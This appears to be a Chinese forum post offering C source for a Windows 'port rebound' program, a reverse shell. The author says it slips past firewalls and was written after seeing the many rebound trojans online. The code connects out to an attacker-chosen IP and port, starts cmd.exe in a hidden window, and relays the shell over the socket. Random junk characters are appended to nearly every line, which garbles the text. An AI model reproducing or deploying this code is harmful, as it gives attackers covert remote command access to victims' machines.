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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 bxxLAWQ(  
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/* ============================== ^J^~5q8  
Rebound port in Windows NT WwnBe"7M  
By wind,2006/7 !.V_?aYi8  
===============================*/ O"TVxP:  
#include S=V  
#include OPq|4xu  
,-EN{ed  
#pragma comment(lib,"wsock32.lib") Z|UVH  
>m%TUQ#%  
void OutputShell(); 't8!.k  
SOCKET sClient; k:~UBs\)(  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; NW0se DL  
3"0QW4A  
void main(int argc,char **argv) =z9,=rR4  
{ 7|dm"%@  
WSADATA stWsaData; j?$B@Zk  
int nRet; DH _~,tK9  
SOCKADDR_IN stSaiClient,stSaiServer; mM/#(Ghl  
6.45^'t]  
if(argc != 3) <=%[.. (S  
{ uw8g%  
printf("Useage:\n\rRebound DestIP DestPort\n"); pcOi%D,o  
return; (d NF)(wn  
} 1z2v[S&pk  
_O87[F1  
WSAStartup(MAKEWORD(2,2),&stWsaData); `hG`}G|^  
rs>,p)  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T$r/XAs  
BDPE.8s  
stSaiClient.sin_family = AF_INET; o8E<_rei  
stSaiClient.sin_port = htons(0); hB\BFVUSn/  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); d72 yu3  
W6EEC<$JL  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) twldwuN  
{ !}U3{L-  
printf("Bind Socket Failed!\n"); ^qC.bv]&  
return; 75R4[C6T  
} #LR6wEk  
.*YOyK3H  
stSaiServer.sin_family = AF_INET; /M]P&Zb |  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); oui0:Vy<  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); UBQtD|m\  
MMaS  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) .':17 $c`H  
{ uW[AnQ1w  
printf("Connect Error!"); Z9% u,Cb  
return; k"BM1-f  
} 5)k/ 4l '  
OutputShell(); +YCWoX 2  
} [.$%ti*!  
G;t< dJ8  
void OutputShell() ]+qd|}^  
{ Jq>5:"jZ0  
char szBuff[1024]; p'@z}T?F  
SECURITY_ATTRIBUTES stSecurityAttributes; :nnch?J_  
OSVERSIONINFO stOsversionInfo; ZZ!6O/M  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; \KpJIHkBRy  
STARTUPINFO stStartupInfo; O@H D'  
char *szShell; w\Q(wH'  
PROCESS_INFORMATION stProcessInformation; ~^Ga?Q_  
unsigned long lBytesRead; xK1w->[  
&V &beq4)p  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 7{S;~VH3  
'S v V10$5  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ~k 6V?z}  
stSecurityAttributes.lpSecurityDescriptor = 0; n3/ Bs  
stSecurityAttributes.bInheritHandle = TRUE; {}" <  
d--6<_q  
u, 72Mm>  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 4T)`%Oo<}  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); +['1~5  
n^G[N-\3  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); OaN"6Ge#  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^eRbp?H*T  
stStartupInfo.wShowWindow = SW_HIDE; ~ U8#yo  
stStartupInfo.hStdInput = hReadPipe; 9K&YHg:1  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 0H}O6kU  
4.kn , s  
GetVersionEx(&stOsversionInfo); M M @&QaK  
T0@<u  
switch(stOsversionInfo.dwPlatformId) 4|eI_u{_  
{ @Y9tkJIt  
case 1: -=1>t3~\  
szShell = "command.com"; cUi6 On1C  
break; 11fV|b%  
default: mv*M2NuhT  
szShell = "cmd.exe"; \Y:zg3q*  
break; ] TZ/=Id  
} YO@~y *,  
J<cY'?D  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); .k!2{A  
a*_" nI&lr  
send(sClient,szMsg,77,0); dt<P6pK-  
while(1) &)!N5Veb  
{ KmD#Ia  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 9I1`*0A  
if(lBytesRead) j{ri]?p  
{ KAr5>^<zw  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 6TQ[2%X'  
send(sClient,szBuff,lBytesRead,0); vsq |m 5  
} [NGq$5  
else jR3mV  
{ NPE 4@c_a@  
lBytesRead=recv(sClient,szBuff,1024,0); e]:(.Wb- 9  
if(lBytesRead<=0) break; uD4W@*PYr  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); eM7 F8j  
} -7I %^u  
} 6LT.ng  
#K> Ue>hx  
return; \/m-G:|  
}
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